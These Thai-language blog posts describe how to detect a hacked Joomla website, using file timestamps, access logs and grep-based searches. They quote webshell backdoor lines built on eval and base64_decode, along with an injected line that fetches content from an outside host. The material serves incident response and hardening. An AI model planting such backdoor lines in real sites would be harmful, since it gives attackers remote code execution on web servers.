Tag: detection

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2

    ต่อจาก “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1” ซึ่งเป็นวิธีการตรวจสอบ จาก วันเวลา ของไฟล์ที่ตรวจสอบพบว่า ถูกนำมาวาง จากช่องโหว่ของ Joomla

    แต่เมื่อตรวจสอบลึกลงไป โดยตรวจสอบ ไฟล์ที่เอามาวางไว้ พบว่ามีรูปแบบหลากหลาย *** แต่มีวิธีการเดียวกัน*** นั่นคือ การใช้ eval และ base64_decode ทั้งสิ้น

    ตัวอย่างที่ 1:

    sample1

     

    จะเห็นได้ว่า hacker เขียนไฟล์ดังกล่าว แล้วสร้างตัวแปรว่า $code ในนั้นเป็น Code ซึ่ง “เข้ารหัสแบบ Base64 แล้ว gzip เอาไว้” เพื่อไม่ให้เราตรวจสอบได้ง่ายๆ

    จากนั้น จึงใช้คำสั่ง

    eval(gzinflate(base64_decode($code)))

    ซึ่งจะ decode ข้อความแบบ Base64 ก่อน แล้วค่อย unzip ออกไปอีกที … ซับซ้อน
    ก็จะทำให้ hacker สามารถใช้ code นั้นๆ มาทำอะไรต่อมิอะไรในเครื่อง web server เราได้

     

    ตัวอย่างที่ 2:

    sample2

    ใช้วิธีไปเขียนไฟล์ ของ Joomla โดยตรง (contact.php) ซึ่งพื้นที่ดังกล่าว เปิดให้ apache เขียนได้ และมีที่เปิด Permission เป็น 777 จึงทำให้ apache เขียนได้เช่นกัน

    โดยในตัวอย่างนี้ ใช้วิธีเขียนไว้ที่บรรทัดแรกของไฟล์ และใช้คำสั่ง

    eval(base64_decode($_REQUEST['c_id']))

    ต่างจากตัวอย่างที่ 1 ตรงที่ แทนที่จะฝัง Code ไว้ในไฟล์ ก็ใช้วิธีส่ง Code ผ่านทาง Action “POST” ของ HTTP มา (ในภาษา PHP ตัวแปรที่รับค่าจาก HTTP เข้ามามีได้ทั้ง GET, POST และ REQUEST ซึ่งตัว REQUEST ดังกล่าว สามารถรับได้ทั้งแบบ GET และ POST)

    ถ้าเฝ้าดูใน log ไฟล์ ก็จะเห็นรูปแบบดังนี้

    216.239.45.67 - - [24/Apr/2013:08:22:41 +0700] "GET /language/settings.class.php HTTP/1.1" 200 197 "-" "Python-urllib/2.7"
    202.46.129.104 - - [24/Apr/2013:08:23:02 +0700] "POST /language/settings.class.php HTTP/1.1" 200 497 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:08:35:08 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    62.193.237.22 - - [24/Apr/2013:08:51:35 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    200.198.186.38 - - [24/Apr/2013:08:56:29 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    31.196.4.41 - - [24/Apr/2013:08:56:32 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    203.172.251.84 - - [24/Apr/2013:08:57:27 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:02:13 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:22:22 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    77.246.145.52 - - [24/Apr/2013:09:46:32 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:51:14 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    122.155.13.146 - - [24/Apr/2013:09:53:19 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:56:22 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    203.172.179.246 - - [24/Apr/2013:10:08:05 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:17:13 +0700] "POST /language/settings.class.php HTTP/1.1" 200 226 "-" "Mozilla/5.0 Firefox/3.6.12"
    118.127.4.170 - - [24/Apr/2013:10:32:10 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:53:42 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:53:51 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"

    เช่นเดิม เมื่อรับค่าผ่าน GET/POST/REQUEST มาแล้ว ก็จะเอามาผ่าน base64_decode แล้วจะได้ Code มา จากนั้น ส่งให้ eval ทำงานต่อ ก็สามารถใช้งาน Web Server เราทำอะไรก็ได้แล้ว

    ตัวอย่างที่ 3:

    sample3

    ในตอนแรก ก็ยังสงสัยอยู่ว่า ไฟล์นี้ เป็นไฟล์ของระบบหรือไม่ เพราะหน้าตาไม่น่าจะเป็นอันตราย ดูคล้ายๆเป็น Configuration File ธรรมดา

    แต่เมื่อดูให้ดีๆ ก็พบว่ามี

    eval(base64_decode($_REQUEST['c_id']))

    อีกแล้ว ซึ่งวิธีการใช้งาน ก็แบบเดียวกับตัวอย่างที่ 2

    UPDATE !!!

    แบบที่ไม่ใช่ eval ก็มีนะ

    new-backdoor

    วิธีการตรวจสอบ

    ให้ใช้คำสั่งต่อไปนี้

    find ./ -name "*.php" -exec egrep -l "@eval.*base64_decode" {} \;

    เพื่อตรวจสอบ หาไฟล์ที่มีคำว่า eval และ base64_decode อยู่ใกล้ๆกัน หากพบไฟล์เข้าข่ายดังกล่าว แนะนำให้ตรวจสอบอย่างละเอียด และย้ายออกมาจากพื้นที่ website เพื่อตรวจสอบให้แน่ใจอีกครั้งครับ

    นอกจากนั้น ควรตรวจสอบว่า มี Directory ใดบ้าง ที่ www-data หรือ apache (user ของ Web Server) เขียนได้ โดยใช้คำสั่งต่อไปนี้

    find ./ -user www-data -perm -u+w -type d

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1

    จากการเข้าแก้ไขเว็บไซต์ต่างๆที่โดน Hack ในช่วง 2 ปีที่ผ่าน พบว่า จะมีรูปแบบเดิมๆคือ

    1. มีการเปิด Permission ของ directory เป็นแบบ 777 หรือ world writable หรือแม้แต่เปิดสิทธิ์ให้ web user เช่น apache/httpd/www-data สามารถเขียนได้

    2. เมื่อมีพื้นที่ให้ web user เขียนได้ แล้ว Web Application นั้นๆ มีช่องโหว่ หรือไม่ก็มีการทำงานปรกติที่เปิดให้ Web User เขียนไฟล์ได้ตามปรกติ ก็เป็นช่องให้เกิดการ “วางไฟล์” ซึ่ง Hacker จะเข้ามาเรียกไฟล์ดังกล่าว ซึ่งจะได้สิทธิเป็น Web User ทำการแก้ไขไฟล์, นำไฟล์ .c มาวางแล้ว compile ต่อไป ซึ่งอาจจะทำให้เกิด Buffer Overflow จนกระทั่งสามารถครอง Server ได้เลย

    วิธีการที่แนะนำสำหรับการทำ Website ให้ปลอดภัย

    1. ในเครื่องที่เป็น Production Server ต้องไม่มี Compiler, Development Tools เช่น gcc อยู่เลย

    2. หากใช้ CMS ต่างๆ เช่น Joomla การปรับปรุงหลักๆเช่นการเปลี่ยน Template, เพิ่ม Component หรือ อะไรที่มีการเปลี่ยนแปลงระดับไฟล์ (ไม่รวมการเขียนพวก Article หรือบทความ เพราะเป็นการเขียนไปยัง Database ไม่ใช่ระดับไฟล์) ก็ควร ยกเลิกการทำงานทาง Backend ผ่าน Web แต่ให้ใช้วิธี สร้างหรือปรับเปลี่ยนจากเครื่องทดสอบ แล้วใช้วิธี FTP ขึ้นไป บน Production Server แทน แล้วปรับให้ Owner เป็นอะไรที่ไม่ใช่ Web User หรือ ต้องไม่ให้ Web User เขียนได้

    วิธีนี้ อาจจะไม่สะดวก แต่ แลกกับความปลอดภัย เป็นวิธีที่จำเป็น ลองสังเกตว่า ทำไม Joomla รุ่นใหม่ๆ จึงเปิดให้มีการ Update ผ่านทาง FTP ด้วย

    3. ถ้า Website มีความจำเป็นต้องให้ผู้ใช้ทั่วไปสามารถ Upload ไฟล์ได้ ต้องเปลี่ยนสิทธิ์ Permission ใน directory ที่เอาไฟล์ขึ้นไปวางนั้น ต้องไม่สามารถ Execute ได้, ลองพิจารณาการใช้ .htaccess ร่วมด้วย

    4. ในกรณี CMS ถ้ามีการใช้ Component หรือ Module อะไร ก็ต้องติดตามดูเรื่อง ช่องโหว่ต่างๆ และทำการปรับปรุงรุ่นสม่ำเสมอ ล่าสุด น่าเป็นห่วงกลุ่มที่ใช้ JCE (รุ่นยังไม่แน่ชัด) กับ Phoca Gallery เพราะมีความสามารถในการ Upload ไฟล์และเป็นที่นิยม ทั้งของกลุ่มผู้ใช้และ Hacker

    อาจจะทำให้ใช้งานยากขึ้น แต่ ถ้าต้องการความปลอดภัย เรื่องเหล่านี้จำเป็นมาก

    ต่อไป เมื่อพบว่าโดน Hacker เข้ามาเยี่ยมแล้ว … จะมีอาการอย่างไรบ้าง …

    ล่าสุด พบ Website ที่ใช้ Joomla โดน Hack, โดยเมื่อเปิดไปยัง URL หลัก จะพบว่ามีการ Redirect ไปยัง Website อื่นๆ และเปลี่ยนไปเรื่อย

    เมื่อลองดู Source โดยการ View Source พบว่ามีการแทรกบรรทัดสุดท้ายไว้ว่า (ไฟล์ index.php อยู่ที่ Document Root ของ site นี้เลย)

    echo file_get_contents('http://www.sorgulatr.com/1.htm');

    ต่อไปนี้ เป็นขึ้นตอนการตรวจสอบว่า มีการวางไฟล์ใดไว้บ้าง

    1. เริ่มจากดูว่า วันที่ ที่มีการเปลี่ยนแปลงไฟล์ index.php คือวันใด ด้วยคำสั่ง

    ls -l index.php

    พบว่า

    -rwxr--r--  1 apache  staff    2106 Mar 22 00:50 index.php

    2. ก็คาดว่า มีการ hack เข้ามาเมื่อวันที่ 22 มีนาคม ก็น่าจะมีการวางไฟล์ในเวลาใกล้เคียงกัน จึงใช้วิธีต่อไปนี้ในการหาว่า มีการวางไฟล์อื่นๆไว้ที่ใดบ้าง

    ด้วยคำสั่ง

    touch --date "2013-03-22" /tmp/foo 
find ./ -newer /tmp/foo

    จึงรู้ว่ามีการเขียนไฟล์ไว้ที่

    ./libraries/tcpdf/cache
 ./administrator/cache/3c788c8140c244baa4de05cad390c937.spc
 ./index.php
 ./configuration.php
 ./images/stories
 ./media
 ./media/bb.php
 ./tmp
 ./cache
 ./cache/z.txt
 ./cache/sok.php
 ./cache/exploit.conf
 ./cache/ubuntu.c

    พบว่า น่าจะเจาะผ่าน ./media กับ ./cache
    ลองเปิด http://xxxxx.psu.ac.th/media/bb.php
    ได้ web ที่สามารถเข้าไป browse ไฟล์ทั้งเครื่องได้

    3. ยังไม่ไว้ใจ จึงดูว่า website นี้ ผู้ติดตั้งตัวจริง น่าจะสิ้นสุดการ update เมื่อใด จึงสันนิษฐานว่า คงเป็นวันเดียวกับที่เปลี่ยน directory ชื่อ installation เป็นชื่ออื่น นั่นคือ วันที่ Mar  2  2012

    จึงใช้คำสี่ง

    touch --date "2012-03-02" /tmp/foo
 find ./ -newer /tmp/foo

    พบว่ามีไฟล์ต่างๆเกิดขึ้น แต่เป็นไฟล์ภาพ และเอกสารพวก .pdf, .doc ซึ่งน่าจะเป็นการใช้งานปรกติ แต่ก็มีไฟล์พวกนี้ด้วย

    ./sejeal.jpg
 ./media/mod.php
 ./media/sok.php
 ./cache/ab.txt

    พบว่า sejeal.jpg นั้นเป็นภาพแสดงตัวของ Hacker ว่า ฉันเป็นคน Hack ที่นี่ได้ [-.-“] ไฟล์เป็นของวันที่ Feb 3, 2013 นอกจากนั้นเป็นไฟล์ที่ใช้ในการ Hack, แถมมีคู่มือในการ Hack ซึ่งแสดงช่องโหว่ของ JCE ไว้ด้วยในไฟล์ ab.txt

    สรุป:

    1. เมื่อพบว่าเว็บไซต์ โดน Hack ควรตรวจสอบว่า วันที่ของไฟล์ที่แสดงอาการ คือวันใด แล้วใช้คำสั่ง

    touch --date "2013-03-22" /tmp/foo

    เพื่อสร้างไฟล์ ซึ่งตั้งค่าวันที่เปลี่ยนแปลงเป็นวันนั้นๆ ไว้ที่ /tmp ตั้งชื่อว่า foo

    แล้วใช้คำสั่ง

    find ./ -newer /tmp/foo

    เพื่อค้นหาว่า ที่ Document Root ของ website นั้น มีไฟล์ใดบ้างที่ถูกแก้ไขในวันเดียวกัน, จากนั้น อาจจะลองดูรายละเอียด ถ้าเป็นไฟล์ของระบบ ก็แก้ไขกลับเป็นเหมือนเดิม หรือไม่ก็ลองพิจารณา ติดตั้ง CMS ใหม่ (อาจจะสายไปแล้ว)

    2. ตรวจสอบด้วยวิธีการเดียวกัน แต่ให้เลือกวันที่ของ /tmp/foo เป็นวันที่สุดท้ายที่ทำการเปลี่ยนแปลงไฟล์ของ CMS นี้ เพื่อดูว่า ตลอดเวลาที่ผ่านมา มีใครเอาไฟล์มาวางแปลกๆไว้บ้าง

    ไว้มีรายละเอียดใหม่ๆ จะมานำเสนอครับ